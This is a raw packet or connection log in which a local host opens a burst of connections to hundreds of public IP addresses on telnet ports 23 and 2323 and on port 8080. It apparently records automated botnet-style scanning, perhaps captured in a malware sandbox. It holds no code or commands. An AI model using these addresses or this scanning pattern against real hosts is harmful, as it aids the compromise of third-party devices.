Feb 19, 2025 19:48:54.993839979 CET	9989	2323	192.168.2.15	108.216.251.121
Feb 19, 2025 19:48:54.993844986 CET	7173	8080	192.168.2.15	95.249.75.135
Feb 19, 2025 19:48:54.993844986 CET	7173	8080	192.168.2.15	95.143.48.196
Feb 19, 2025 19:48:54.993851900 CET	9989	23	192.168.2.15	40.66.19.89
Feb 19, 2025 19:48:54.993855953 CET	9989	23	192.168.2.15	207.214.204.217
Feb 19, 2025 19:48:54.993860006 CET	9989	23	192.168.2.15	76.55.34.50
Feb 19, 2025 19:48:54.993869066 CET	9989	23	192.168.2.15	162.179.158.105
Feb 19, 2025 19:48:54.993874073 CET	9989	23	192.168.2.15	18.49.100.162
Feb 19, 2025 19:48:54.993875027 CET	7173	8080	192.168.2.15	31.22.140.52
Feb 19, 2025 19:48:54.993881941 CET	8080	7173	94.9.29.170	192.168.2.15
Feb 19, 2025 19:48:54.993881941 CET	9989	23	192.168.2.15	145.30.69.51
Feb 19, 2025 19:48:54.993891001 CET	9989	23	192.168.2.15	180.140.250.206
Feb 19, 2025 19:48:54.993896961 CET	7173	8080	192.168.2.15	31.254.33.212
Feb 19, 2025 19:48:54.993902922 CET	9989	23	192.168.2.15	116.214.171.175
Feb 19, 2025 19:48:54.993905067 CET	9989	23	192.168.2.15	95.201.29.86
Feb 19, 2025 19:48:54.993915081 CET	9989	2323	192.168.2.15	161.241.113.28
Feb 19, 2025 19:48:54.993927956 CET	7173	8080	192.168.2.15	94.9.29.170
Feb 19, 2025 19:48:54.993937016 CET	8080	7173	31.177.89.56	192.168.2.15
Feb 19, 2025 19:48:54.993946075 CET	9989	23	192.168.2.15	199.221.221.145
Feb 19, 2025 19:48:54.993947983 CET	9989	23	192.168.2.15	185.87.19.43
Feb 19, 2025 19:48:54.993952036 CET	7173	8080	192.168.2.15	95.181.143.173
Feb 19, 2025 19:48:54.993958950 CET	9989	23	192.168.2.15	120.96.81.82
Feb 19, 2025 19:48:54.993968964 CET	9989	23	192.168.2.15	159.64.253.185
Feb 19, 2025 19:48:54.993973970 CET	7173	8080	192.168.2.15	31.177.89.56
Feb 19, 2025 19:48:54.993976116 CET	9989	23	192.168.2.15	179.114.192.241
Feb 19, 2025 19:48:54.993987083 CET	9989	23	192.168.2.15	120.46.226.232
Feb 19, 2025 19:48:54.993987083 CET	9989	23	192.168.2.15	84.106.81.110
Feb 19, 2025 19:48:54.993989944 CET	9989	23	192.168.2.15	50.75.72.111
Feb 19, 2025 19:48:54.994000912 CET	9989	23	192.168.2.15	60.27.70.160
Feb 19, 2025 19:48:54.994005919 CET	8080	7173	95.129.154.69	192.168.2.15
Feb 19, 2025 19:48:54.994013071 CET	9989	2323	192.168.2.15	99.246.254.26
Feb 19, 2025 19:48:54.994015932 CET	8080	7173	94.17.181.142	192.168.2.15
Feb 19, 2025 19:48:54.994026899 CET	8080	7173	85.252.219.21	192.168.2.15
Feb 19, 2025 19:48:54.994035006 CET	7173	8080	192.168.2.15	95.129.154.69
Feb 19, 2025 19:48:54.994043112 CET	8080	7173	95.178.249.69	192.168.2.15
Feb 19, 2025 19:48:54.994043112 CET	7173	8080	192.168.2.15	94.17.181.142
Feb 19, 2025 19:48:54.994054079 CET	8080	7173	94.194.107.85	192.168.2.15
Feb 19, 2025 19:48:54.994054079 CET	9989	23	192.168.2.15	190.128.194.201
Feb 19, 2025 19:48:54.994057894 CET	9989	23	192.168.2.15	45.156.85.2
Feb 19, 2025 19:48:54.994060040 CET	7173	8080	192.168.2.15	85.252.219.21
Feb 19, 2025 19:48:54.994066954 CET	9989	23	192.168.2.15	156.117.206.233
Feb 19, 2025 19:48:54.994072914 CET	7173	8080	192.168.2.15	95.178.249.69
Feb 19, 2025 19:48:54.994091034 CET	7173	8080	192.168.2.15	94.194.107.85
Feb 19, 2025 19:48:54.994091034 CET	8080	7173	85.87.168.239	192.168.2.15
Feb 19, 2025 19:48:54.994102001 CET	8080	7173	31.17.219.191	192.168.2.15
Feb 19, 2025 19:48:54.994111061 CET	8080	7173	85.148.65.236	192.168.2.15
Feb 19, 2025 19:48:54.994121075 CET	7173	8080	192.168.2.15	85.87.168.239
Feb 19, 2025 19:48:54.994122982 CET	8080	7173	62.28.250.19	192.168.2.15
Feb 19, 2025 19:48:54.994131088 CET	9989	23	192.168.2.15	20.155.237.9
Feb 19, 2025 19:48:54.994132042 CET	7173	8080	192.168.2.15	31.17.219.191
Feb 19, 2025 19:48:54.994148970 CET	7173	8080	192.168.2.15	85.148.65.236
Feb 19, 2025 19:48:54.994148970 CET	9989	23	192.168.2.15	34.169.252.77
Feb 19, 2025 19:48:54.994157076 CET	9989	23	192.168.2.15	19.252.118.4
Feb 19, 2025 19:48:54.994158030 CET	7173	8080	192.168.2.15	62.28.250.19
Feb 19, 2025 19:48:54.994160891 CET	8080	7173	62.179.208.40	192.168.2.15
Feb 19, 2025 19:48:54.994163990 CET	9989	23	192.168.2.15	167.218.17.207
Feb 19, 2025 19:48:54.994174957 CET	9989	23	192.168.2.15	53.40.123.48
Feb 19, 2025 19:48:54.994183064 CET	9989	23	192.168.2.15	80.81.108.233
Feb 19, 2025 19:48:54.994184017 CET	9989	2323	192.168.2.15	66.238.243.157
Feb 19, 2025 19:48:54.994196892 CET	7173	8080	192.168.2.15	62.179.208.40
Feb 19, 2025 19:48:54.994198084 CET	9989	23	192.168.2.15	134.167.165.91
Feb 19, 2025 19:48:54.994206905 CET	9989	23	192.168.2.15	145.155.226.17
Feb 19, 2025 19:48:54.994210005 CET	9989	23	192.168.2.15	101.101.1.243
Feb 19, 2025 19:48:54.994220018 CET	9989	23	192.168.2.15	193.246.117.234
Feb 19, 2025 19:48:54.994221926 CET	9989	23	192.168.2.15	203.140.97.228
Feb 19, 2025 19:48:54.994226933 CET	8080	7173	94.102.151.216	192.168.2.15
Feb 19, 2025 19:48:54.994235992 CET	8080	7173	85.178.152.105	192.168.2.15
Feb 19, 2025 19:48:54.994236946 CET	9989	23	192.168.2.15	193.248.118.187
Feb 19, 2025 19:48:54.994240999 CET	9989	23	192.168.2.15	180.104.255.39
Feb 19, 2025 19:48:54.994246006 CET	8080	7173	31.75.117.216	192.168.2.15
Feb 19, 2025 19:48:54.994251013 CET	9989	23	192.168.2.15	36.163.96.59
Feb 19, 2025 19:48:54.994255066 CET	8080	7173	31.13.245.171	192.168.2.15
Feb 19, 2025 19:48:54.994261026 CET	7173	8080	192.168.2.15	85.178.152.105
Feb 19, 2025 19:48:54.994261980 CET	7173	8080	192.168.2.15	94.102.151.216
Feb 19, 2025 19:48:54.994266033 CET	9989	23	192.168.2.15	82.22.20.213
Feb 19, 2025 19:48:54.994270086 CET	9989	2323	192.168.2.15	60.11.32.117
Feb 19, 2025 19:48:54.994278908 CET	7173	8080	192.168.2.15	31.13.245.171
Feb 19, 2025 19:48:54.994282007 CET	7173	8080	192.168.2.15	31.75.117.216
Feb 19, 2025 19:48:54.994286060 CET	8080	7173	31.59.157.52	192.168.2.15
Feb 19, 2025 19:48:54.994290113 CET	9989	23	192.168.2.15	134.240.149.209
Feb 19, 2025 19:48:54.994307995 CET	9989	23	192.168.2.15	124.140.77.208
Feb 19, 2025 19:48:54.994317055 CET	7173	8080	192.168.2.15	31.59.157.52
Feb 19, 2025 19:48:54.994342089 CET	9989	23	192.168.2.15	34.250.233.144
Feb 19, 2025 19:48:54.994343996 CET	9989	23	192.168.2.15	211.233.131.220
Feb 19, 2025 19:48:54.994349003 CET	9989	23	192.168.2.15	67.41.60.221
Feb 19, 2025 19:48:54.994349003 CET	9989	23	192.168.2.15	170.59.208.60
Feb 19, 2025 19:48:54.994349003 CET	9989	23	192.168.2.15	118.154.151.184
Feb 19, 2025 19:48:54.994350910 CET	9989	23	192.168.2.15	13.94.201.56
Feb 19, 2025 19:48:54.994350910 CET	9989	2323	192.168.2.15	206.4.199.15
Feb 19, 2025 19:48:54.994353056 CET	9989	23	192.168.2.15	24.226.6.1
Feb 19, 2025 19:48:54.994370937 CET	9989	23	192.168.2.15	159.142.172.119
Feb 19, 2025 19:48:54.994371891 CET	9989	23	192.168.2.15	178.81.60.53
Feb 19, 2025 19:48:54.994389057 CET	7173	8080	192.168.2.15	31.65.160.110
Feb 19, 2025 19:48:54.994394064 CET	7173	8080	192.168.2.15	62.121.170.195
Feb 19, 2025 19:48:54.994405985 CET	9989	23	192.168.2.15	40.206.181.64
Feb 19, 2025 19:48:54.994415998 CET	9989	23	192.168.2.15	66.75.243.93
Feb 19, 2025 19:48:54.994415998 CET	9989	23	192.168.2.15	125.158.142.240
Feb 19, 2025 19:48:54.994416952 CET	9989	23	192.168.2.15	68.56.27.252
Feb 19, 2025 19:48:54.994420052 CET	9989	23	192.168.2.15	213.15.44.235
Feb 19, 2025 19:48:54.994421005 CET	9989	23	192.168.2.15	20.125.5.167
Feb 19, 2025 19:48:54.994421005 CET	9989	23	192.168.2.15	204.87.75.222
Feb 19, 2025 19:48:54.994422913 CET	7173	8080	192.168.2.15	94.50.46.84
Feb 19, 2025 19:48:54.994424105 CET	9989	2323	192.168.2.15	126.164.254.100
Feb 19, 2025 19:48:54.994435072 CET	9989	23	192.168.2.15	187.207.116.216
Feb 19, 2025 19:48:54.994436979 CET	7173	8080	192.168.2.15	94.230.59.226
Feb 19, 2025 19:48:54.994437933 CET	9989	23	192.168.2.15	199.16.173.156
Feb 19, 2025 19:48:54.994441032 CET	9989	23	192.168.2.15	134.222.155.25
Feb 19, 2025 19:48:54.994443893 CET	9989	23	192.168.2.15	12.238.102.236
Feb 19, 2025 19:48:54.994450092 CET	9989	23	192.168.2.15	4.20.92.253
Feb 19, 2025 19:48:54.994458914 CET	9989	23	192.168.2.15	201.6.144.163
Feb 19, 2025 19:48:54.994484901 CET	9989	23	192.168.2.15	54.193.31.18
Feb 19, 2025 19:48:54.994493008 CET	9989	23	192.168.2.15	52.35.79.115
Feb 19, 2025 19:48:54.994733095 CET	9989	23	192.168.2.15	154.30.199.74
Feb 19, 2025 19:48:54.994733095 CET	9989	23	192.168.2.15	90.224.36.217
Feb 19, 2025 19:48:54.994735956 CET	9989	23	192.168.2.15	91.127.127.114
Feb 19, 2025 19:48:54.994735956 CET	9989	23	192.168.2.15	73.185.204.255
Feb 19, 2025 19:48:54.994735956 CET	9989	23	192.168.2.15	178.155.224.130
Feb 19, 2025 19:48:54.994735956 CET	9989	2323	192.168.2.15	101.207.210.27
Feb 19, 2025 19:48:54.994735956 CET	7173	8080	192.168.2.15	31.84.80.91
Feb 19, 2025 19:48:54.994736910 CET	9989	23	192.168.2.15	34.168.234.181
Feb 19, 2025 19:48:54.994735956 CET	9989	23	192.168.2.15	45.117.195.32
Feb 19, 2025 19:48:54.994740963 CET	9989	23	192.168.2.15	209.110.4.35
Feb 19, 2025 19:48:54.994735956 CET	9989	23	192.168.2.15	88.184.40.123
Feb 19, 2025 19:48:54.994740963 CET	9989	23	192.168.2.15	163.11.151.23
Feb 19, 2025 19:48:54.994744062 CET	7173	8080	192.168.2.15	94.191.155.254
Feb 19, 2025 19:48:54.994739056 CET	7173	8080	192.168.2.15	95.82.134.168
Feb 19, 2025 19:48:54.994735956 CET	9989	23	192.168.2.15	170.91.52.196
Feb 19, 2025 19:48:54.994740963 CET	9989	23	192.168.2.15	54.146.9.70
Feb 19, 2025 19:48:54.994735956 CET	9989	23	192.168.2.15	102.252.204.25
Feb 19, 2025 19:48:54.994740963 CET	9989	23	192.168.2.15	77.106.225.229
Feb 19, 2025 19:48:54.994740963 CET	7173	8080	192.168.2.15	95.154.126.194
Feb 19, 2025 19:48:54.994740963 CET	9989	23	192.168.2.15	175.54.69.203
Feb 19, 2025 19:48:54.994740963 CET	9989	23	192.168.2.15	183.70.225.155
Feb 19, 2025 19:48:54.994740963 CET	7173	8080	192.168.2.15	95.21.36.49
Feb 19, 2025 19:48:54.994744062 CET	9989	23	192.168.2.15	148.151.231.156
Feb 19, 2025 19:48:54.994739056 CET	7173	8080	192.168.2.15	94.140.191.160
Feb 19, 2025 19:48:54.994740963 CET	7173	8080	192.168.2.15	31.101.202.192
Feb 19, 2025 19:48:54.994739056 CET	9989	23	192.168.2.15	220.37.53.201
Feb 19, 2025 19:48:54.994736910 CET	9989	2323	192.168.2.15	106.123.189.161
Feb 19, 2025 19:48:54.994740963 CET	7173	8080	192.168.2.15	31.20.116.78
Feb 19, 2025 19:48:54.994744062 CET	9989	2323	192.168.2.15	52.201.211.176
Feb 19, 2025 19:48:54.994740963 CET	7173	8080	192.168.2.15	62.106.170.2
Feb 19, 2025 19:48:54.994739056 CET	7173	8080	192.168.2.15	94.206.185.79
Feb 19, 2025 19:48:54.994744062 CET	9989	23	192.168.2.15	157.155.133.188
Feb 19, 2025 19:48:54.994740963 CET	7173	8080	192.168.2.15	85.91.89.119
Feb 19, 2025 19:48:54.994740963 CET	7173	8080	192.168.2.15	62.73.91.125
Feb 19, 2025 19:48:54.994740963 CET	9989	23	192.168.2.15	84.164.59.196
Feb 19, 2025 19:48:54.994736910 CET	9989	23	192.168.2.15	154.60.190.140
Feb 19, 2025 19:48:54.994740963 CET	7173	8080	192.168.2.15	31.27.176.156
Feb 19, 2025 19:48:54.994736910 CET	9989	23	192.168.2.15	92.161.37.237
Feb 19, 2025 19:48:54.994739056 CET	9989	2323	192.168.2.15	95.248.21.89
Feb 19, 2025 19:48:54.994744062 CET	9989	2323	192.168.2.15	140.246.38.249
Feb 19, 2025 19:48:54.994740963 CET	7173	8080	192.168.2.15	31.211.120.130
Feb 19, 2025 19:48:54.994781017 CET	9989	23	192.168.2.15	193.223.34.123
Feb 19, 2025 19:48:54.994781017 CET	9989	23	192.168.2.15	5.179.117.15
Feb 19, 2025 19:48:54.994875908 CET	9989	23	192.168.2.15	217.32.223.33
Feb 19, 2025 19:48:54.994875908 CET	9989	23	192.168.2.15	182.80.106.52
Feb 19, 2025 19:48:54.994875908 CET	9989	23	192.168.2.15	61.105.139.77
Feb 19, 2025 19:48:54.994875908 CET	9989	23	192.168.2.15	121.220.222.116
Feb 19, 2025 19:48:54.994875908 CET	9989	2323	192.168.2.15	117.126.171.141
Feb 19, 2025 19:48:54.994875908 CET	9989	23	192.168.2.15	79.236.96.118
Feb 19, 2025 19:48:54.994878054 CET	9989	23	192.168.2.15	166.38.83.46
Feb 19, 2025 19:48:54.994875908 CET	9989	23	192.168.2.15	142.21.208.35
Feb 19, 2025 19:48:54.994878054 CET	9989	23	192.168.2.15	212.135.231.175
Feb 19, 2025 19:48:54.994875908 CET	9989	23	192.168.2.15	216.164.246.143
Feb 19, 2025 19:48:54.994878054 CET	7173	8080	192.168.2.15	62.218.22.69
Feb 19, 2025 19:48:54.994878054 CET	9989	23	192.168.2.15	172.78.243.59
Feb 19, 2025 19:48:54.994879961 CET	9989	2323	192.168.2.15	154.83.82.144
Feb 19, 2025 19:48:54.994878054 CET	9989	23	192.168.2.15	132.171.145.67
Feb 19, 2025 19:48:54.994879961 CET	7173	8080	192.168.2.15	94.129.159.125
Feb 19, 2025 19:48:54.994878054 CET	9989	23	192.168.2.15	51.0.18.172
Feb 19, 2025 19:48:54.994882107 CET	9989	23	192.168.2.15	87.144.161.122
Feb 19, 2025 19:48:54.994878054 CET	9989	23	192.168.2.15	62.49.152.220
Feb 19, 2025 19:48:54.994884014 CET	9989	23	192.168.2.15	148.83.68.102
Feb 19, 2025 19:48:54.994879961 CET	9989	23	192.168.2.15	216.221.168.166
Feb 19, 2025 19:48:54.994885921 CET	9989	23	192.168.2.15	202.133.53.249
Feb 19, 2025 19:48:54.994882107 CET	7173	8080	192.168.2.15	31.96.60.166
Feb 19, 2025 19:48:54.994878054 CET	9989	23	192.168.2.15	201.168.85.109
Feb 19, 2025 19:48:54.994885921 CET	7173	8080	192.168.2.15	85.48.160.246
Feb 19, 2025 19:48:54.994879961 CET	7173	8080	192.168.2.15	62.155.119.108
Feb 19, 2025 19:48:54.994885921 CET	7173	8080	192.168.2.15	95.98.216.152
Feb 19, 2025 19:48:54.994888067 CET	9989	23	192.168.2.15	218.62.225.247
Feb 19, 2025 19:48:54.994879961 CET	9989	23	192.168.2.15	113.246.190.27
Feb 19, 2025 19:48:54.994884014 CET	7173	8080	192.168.2.15	94.26.32.32
Feb 19, 2025 19:48:54.994882107 CET	7173	8080	192.168.2.15	95.208.122.112
Feb 19, 2025 19:48:54.994884968 CET	7173	8080	192.168.2.15	31.23.118.192
Feb 19, 2025 19:48:54.994882107 CET	9989	23	192.168.2.15	126.104.84.74
Feb 19, 2025 19:48:54.994884968 CET	7173	8080	192.168.2.15	95.14.141.86
Feb 19, 2025 19:48:54.994894981 CET	9989	2323	192.168.2.15	146.253.2.173
Feb 19, 2025 19:48:54.994885921 CET	7173	8080	192.168.2.15	95.10.120.103
Feb 19, 2025 19:48:54.994882107 CET	7173	8080	192.168.2.15	31.137.23.229
Feb 19, 2025 19:48:54.994884968 CET	7173	8080	192.168.2.15	62.166.95.157
Feb 19, 2025 19:48:54.994894981 CET	9989	23	192.168.2.15	68.133.58.206
Feb 19, 2025 19:48:54.994884968 CET	7173	8080	192.168.2.15	85.176.85.167
Feb 19, 2025 19:48:54.994882107 CET	9989	23	192.168.2.15	59.21.173.161
Feb 19, 2025 19:48:54.994884968 CET	9989	23	192.168.2.15	52.162.75.179
Feb 19, 2025 19:48:54.994882107 CET	9989	23	192.168.2.15	220.5.87.131
Feb 19, 2025 19:48:54.994884968 CET	9989	23	192.168.2.15	2.173.49.120
Feb 19, 2025 19:48:54.994882107 CET	9989	23	192.168.2.15	219.105.87.52
Feb 19, 2025 19:48:54.994884968 CET	9989	23	192.168.2.15	174.229.154.190
Feb 19, 2025 19:48:54.994884014 CET	9989	23	192.168.2.15	144.74.25.27
Feb 19, 2025 19:48:54.994885921 CET	7173	8080	192.168.2.15	95.102.178.130
Feb 19, 2025 19:48:54.994888067 CET	7173	8080	192.168.2.15	31.144.22.241
Feb 19, 2025 19:48:54.994879961 CET	9989	23	192.168.2.15	157.18.93.189
Feb 19, 2025 19:48:54.994884014 CET	7173	8080	192.168.2.15	94.24.211.71
Feb 19, 2025 19:48:54.994879961 CET	9989	23	192.168.2.15	149.147.14.57
Feb 19, 2025 19:48:54.994885921 CET	9989	23	192.168.2.15	162.64.39.234
Feb 19, 2025 19:48:54.994884014 CET	7173	8080	192.168.2.15	94.245.176.52
Feb 19, 2025 19:48:54.994885921 CET	9989	23	192.168.2.15	77.19.6.203
Feb 19, 2025 19:48:54.994884014 CET	7173	8080	192.168.2.15	85.162.134.53
Feb 19, 2025 19:48:54.994885921 CET	9989	23	192.168.2.15	194.141.209.196
Feb 19, 2025 19:48:54.994879961 CET	9989	23	192.168.2.15	212.102.254.185
Feb 19, 2025 19:48:54.994884014 CET	9989	2323	192.168.2.15	73.47.134.170
Feb 19, 2025 19:48:54.994888067 CET	9989	23	192.168.2.15	63.36.102.234
Feb 19, 2025 19:48:54.994884014 CET	9989	23	192.168.2.15	53.137.246.210
Feb 19, 2025 19:48:54.994888067 CET	9989	23	192.168.2.15	156.149.253.98
Feb 19, 2025 19:48:54.994884014 CET	9989	23	192.168.2.15	1.98.98.241
Feb 19, 2025 19:48:54.994888067 CET	9989	23	192.168.2.15	113.223.181.26
Feb 19, 2025 19:48:54.994888067 CET	9989	23	192.168.2.15	36.146.150.73
Feb 19, 2025 19:48:54.994888067 CET	9989	23	192.168.2.15	101.10.136.165
Feb 19, 2025 19:48:54.994915962 CET	8080	7173	94.20.34.143	192.168.2.15
Feb 19, 2025 19:48:54.994916916 CET	9989	23	192.168.2.15	104.197.109.138
Feb 19, 2025 19:48:54.994916916 CET	9989	23	192.168.2.15	1.102.6.147
Feb 19, 2025 19:48:54.994916916 CET	9989	23	192.168.2.15	154.206.44.50
Feb 19, 2025 19:48:54.994916916 CET	9989	23	192.168.2.15	198.16.219.133
Feb 19, 2025 19:48:54.994916916 CET	9989	2323	192.168.2.15	84.160.209.156
Feb 19, 2025 19:48:54.994916916 CET	9989	2323	192.168.2.15	37.41.30.40
Feb 19, 2025 19:48:54.994916916 CET	9989	23	192.168.2.15	183.15.149.148
Feb 19, 2025 19:48:54.994920015 CET	9989	23	192.168.2.15	62.211.240.8
Feb 19, 2025 19:48:54.994920015 CET	9989	23	192.168.2.15	32.92.126.43
Feb 19, 2025 19:48:54.994920015 CET	9989	23	192.168.2.15	190.5.151.130
Feb 19, 2025 19:48:54.994920015 CET	9989	23	192.168.2.15	209.166.11.99
Feb 19, 2025 19:48:54.994920015 CET	9989	23	192.168.2.15	71.167.44.3
Feb 19, 2025 19:48:54.994920015 CET	9989	23	192.168.2.15	99.168.46.89
Feb 19, 2025 19:48:54.994920015 CET	9989	23	192.168.2.15	148.226.156.138
Feb 19, 2025 19:48:54.994920015 CET	9989	23	192.168.2.15	139.70.64.211
Feb 19, 2025 19:48:54.994925976 CET	9989	23	192.168.2.15	81.203.176.117
Feb 19, 2025 19:48:54.994925976 CET	9989	2323	192.168.2.15	159.15.187.85
Feb 19, 2025 19:48:54.994925976 CET	9989	23	192.168.2.15	219.31.65.81
Feb 19, 2025 19:48:54.994925976 CET	9989	23	192.168.2.15	120.25.60.130
Feb 19, 2025 19:48:54.994925976 CET	9989	23	192.168.2.15	38.138.213.60
Feb 19, 2025 19:48:54.994925976 CET	9989	23	192.168.2.15	205.20.26.118
Feb 19, 2025 19:48:54.994925976 CET	9989	23	192.168.2.15	113.236.53.113
Feb 19, 2025 19:48:54.994925976 CET	9989	23	192.168.2.15	163.103.120.96
Feb 19, 2025 19:48:54.994925976 CET	9989	23	192.168.2.15	220.131.220.177
Feb 19, 2025 19:48:54.994925976 CET	9989	23	192.168.2.15	99.225.147.126
Feb 19, 2025 19:48:54.994925976 CET	9989	23	192.168.2.15	151.45.42.46
Feb 19, 2025 19:48:54.994925976 CET	9989	23	192.168.2.15	154.171.9.150
Feb 19, 2025 19:48:54.994925976 CET	9989	23	192.168.2.15	143.48.87.25
Feb 19, 2025 19:48:54.994925976 CET	9989	23	192.168.2.15	48.236.251.76
Feb 19, 2025 19:48:54.994925976 CET	9989	23	192.168.2.15	171.95.161.236
Feb 19, 2025 19:48:54.994925976 CET	9989	23	192.168.2.15	196.224.96.114
Feb 19, 2025 19:48:54.994925976 CET	9989	23	192.168.2.15	47.175.77.176
Feb 19, 2025 19:48:54.994925976 CET	9989	23	192.168.2.15	65.69.116.4
Feb 19, 2025 19:48:54.994925976 CET	9989	23	192.168.2.15	121.153.98.86
Feb 19, 2025 19:48:54.994930983 CET	9989	23	192.168.2.15	203.103.148.185
Feb 19, 2025 19:48:54.994925976 CET	9989	23	192.168.2.15	43.119.66.79
Feb 19, 2025 19:48:54.994925976 CET	9989	23	192.168.2.15	84.174.91.75
Feb 19, 2025 19:48:54.994931936 CET	9989	23	192.168.2.15	162.92.73.19
Feb 19, 2025 19:48:54.994925976 CET	9989	23	192.168.2.15	61.225.147.229
Feb 19, 2025 19:48:54.994925976 CET	9989	2323	192.168.2.15	122.149.178.81
Feb 19, 2025 19:48:54.994931936 CET	9989	23	192.168.2.15	40.211.178.214
Feb 19, 2025 19:48:54.994930983 CET	9989	23	192.168.2.15	5.201.170.232
Feb 19, 2025 19:48:54.994931936 CET	9989	23	192.168.2.15	128.126.181.65
Feb 19, 2025 19:48:54.994930983 CET	9989	2323	192.168.2.15	221.11.200.170
Feb 19, 2025 19:48:54.994931936 CET	9989	23	192.168.2.15	218.89.99.96
Feb 19, 2025 19:48:54.994930983 CET	9989	2323	192.168.2.15	160.124.147.23
Feb 19, 2025 19:48:54.994925976 CET	9989	23	192.168.2.15	54.95.104.154
Feb 19, 2025 19:48:54.994930983 CET	9989	23	192.168.2.15	98.220.103.187
Feb 19, 2025 19:48:54.994930983 CET	9989	23	192.168.2.15	48.11.23.254
Feb 19, 2025 19:48:54.994930983 CET	9989	23	192.168.2.15	210.0.173.24
Feb 19, 2025 19:48:54.994947910 CET	8080	7173	94.204.192.9	192.168.2.15
Feb 19, 2025 19:48:54.994950056 CET	9989	23	192.168.2.15	79.129.136.76
Feb 19, 2025 19:48:54.994950056 CET	9989	23	192.168.2.15	173.221.51.95
Feb 19, 2025 19:48:54.994950056 CET	9989	23	192.168.2.15	64.91.190.66
Feb 19, 2025 19:48:54.994950056 CET	7173	8080	192.168.2.15	62.111.30.44
Feb 19, 2025 19:48:54.994950056 CET	9989	23	192.168.2.15	165.181.102.92
Feb 19, 2025 19:48:54.994950056 CET	9989	23	192.168.2.15	72.136.234.222
Feb 19, 2025 19:48:54.994951963 CET	9989	23	192.168.2.15	97.90.170.109
Feb 19, 2025 19:48:54.994951963 CET	9989	23	192.168.2.15	206.56.15.62
Feb 19, 2025 19:48:54.994949102 CET	9989	23	192.168.2.15	68.189.245.102
Feb 19, 2025 19:48:54.994951963 CET	9989	23	192.168.2.15	60.48.61.163
Feb 19, 2025 19:48:54.994949102 CET	9989	23	192.168.2.15	197.32.190.178
Feb 19, 2025 19:48:54.994951963 CET	9989	23	192.168.2.15	76.10.254.190
Feb 19, 2025 19:48:54.994949102 CET	9989	23	192.168.2.15	79.153.247.48
Feb 19, 2025 19:48:54.994951963 CET	9989	23	192.168.2.15	50.6.211.140
Feb 19, 2025 19:48:54.994956970 CET	9989	23	192.168.2.15	163.11.0.45
Feb 19, 2025 19:48:54.994951963 CET	9989	23	192.168.2.15	20.13.191.121
Feb 19, 2025 19:48:54.994949102 CET	9989	23	192.168.2.15	13.217.64.121
Feb 19, 2025 19:48:54.994959116 CET	7173	8080	192.168.2.15	95.184.36.36
Feb 19, 2025 19:48:54.994956970 CET	9989	23	192.168.2.15	160.108.162.107
Feb 19, 2025 19:48:54.994951963 CET	9989	23	192.168.2.15	179.183.220.162
Feb 19, 2025 19:48:54.994959116 CET	7173	8080	192.168.2.15	85.209.179.41
Feb 19, 2025 19:48:54.994957924 CET	9989	23	192.168.2.15	120.113.243.50
Feb 19, 2025 19:48:54.994959116 CET	9989	23	192.168.2.15	82.195.88.111
Feb 19, 2025 19:48:54.994956970 CET	9989	23	192.168.2.15	204.121.146.211
Feb 19, 2025 19:48:54.994951963 CET	9989	23	192.168.2.15	5.172.155.160
Feb 19, 2025 19:48:54.994957924 CET	9989	23	192.168.2.15	181.104.200.8
Feb 19, 2025 19:48:54.994956970 CET	7173	8080	192.168.2.15	31.224.201.243
Feb 19, 2025 19:48:54.994957924 CET	9989	23	192.168.2.15	111.103.139.247
Feb 19, 2025 19:48:54.994951963 CET	9989	23	192.168.2.15	217.135.224.231
Feb 19, 2025 19:48:54.994956970 CET	7173	8080	192.168.2.15	85.82.170.152
Feb 19, 2025 19:48:54.994957924 CET	9989	23	192.168.2.15	60.106.38.6
Feb 19, 2025 19:48:54.994957924 CET	9989	23	192.168.2.15	64.57.224.63
Feb 19, 2025 19:48:54.994951963 CET	9989	23	192.168.2.15	175.246.184.227
Feb 19, 2025 19:48:54.994957924 CET	9989	23	192.168.2.15	42.157.204.13
Feb 19, 2025 19:48:54.994952917 CET	9989	23	192.168.2.15	165.81.221.65
Feb 19, 2025 19:48:54.994957924 CET	7173	8080	192.168.2.15	94.84.151.85
Feb 19, 2025 19:48:54.994956970 CET	9989	23	192.168.2.15	94.57.184.14
Feb 19, 2025 19:48:54.994972944 CET	9989	23	192.168.2.15	49.22.5.48
Feb 19, 2025 19:48:54.994957924 CET	9989	23	192.168.2.15	192.64.219.150
Feb 19, 2025 19:48:54.994972944 CET	9989	23	192.168.2.15	68.176.81.175
Feb 19, 2025 19:48:54.994952917 CET	9989	23	192.168.2.15	216.39.91.235
Feb 19, 2025 19:48:54.994972944 CET	8080	7173	94.18.37.238	192.168.2.15
Feb 19, 2025 19:48:54.994956970 CET	9989	23	192.168.2.15	5.88.247.146
Feb 19, 2025 19:48:54.994957924 CET	7173	8080	192.168.2.15	94.116.158.101
Feb 19, 2025 19:48:54.994956970 CET	9989	23	192.168.2.15	131.66.12.10
Feb 19, 2025 19:48:54.994972944 CET	9989	2323	192.168.2.15	198.69.50.164
Feb 19, 2025 19:48:54.994957924 CET	7173	8080	192.168.2.15	95.112.137.55
Feb 19, 2025 19:48:54.994980097 CET	7173	8080	192.168.2.15	85.203.23.168
Feb 19, 2025 19:48:54.994957924 CET	7173	8080	192.168.2.15	95.15.211.6
Feb 19, 2025 19:48:54.994972944 CET	7173	8080	192.168.2.15	31.241.232.1
Feb 19, 2025 19:48:54.994957924 CET	9989	23	192.168.2.15	196.173.162.186
Feb 19, 2025 19:48:54.994980097 CET	7173	8080	192.168.2.15	31.74.155.202
Feb 19, 2025 19:48:54.994957924 CET	9989	23	192.168.2.15	155.138.255.14
Feb 19, 2025 19:48:54.994980097 CET	7173	8080	192.168.2.15	95.91.176.36
Feb 19, 2025 19:48:54.994972944 CET	9989	23	192.168.2.15	118.4.117.174
Feb 19, 2025 19:48:54.994987965 CET	9989	23	192.168.2.15	13.107.130.25
Feb 19, 2025 19:48:54.994957924 CET	9989	23	192.168.2.15	164.156.140.216
Feb 19, 2025 19:48:54.994987965 CET	9989	23	192.168.2.15	135.19.243.246
Feb 19, 2025 19:48:54.994957924 CET	9989	23	192.168.2.15	211.248.59.55
Feb 19, 2025 19:48:54.994991064 CET	9989	23	192.168.2.15	118.248.217.175
Feb 19, 2025 19:48:54.994987965 CET	9989	23	192.168.2.15	141.184.163.228
Feb 19, 2025 19:48:54.994991064 CET	9989	23	192.168.2.15	37.1.240.208
Feb 19, 2025 19:48:54.994987965 CET	9989	23	192.168.2.15	45.237.136.50
Feb 19, 2025 19:48:54.994991064 CET	9989	23	192.168.2.15	165.250.166.97
Feb 19, 2025 19:48:54.994987965 CET	7173	8080	192.168.2.15	95.164.94.241
Feb 19, 2025 19:48:54.994991064 CET	7173	8080	192.168.2.15	31.238.144.31
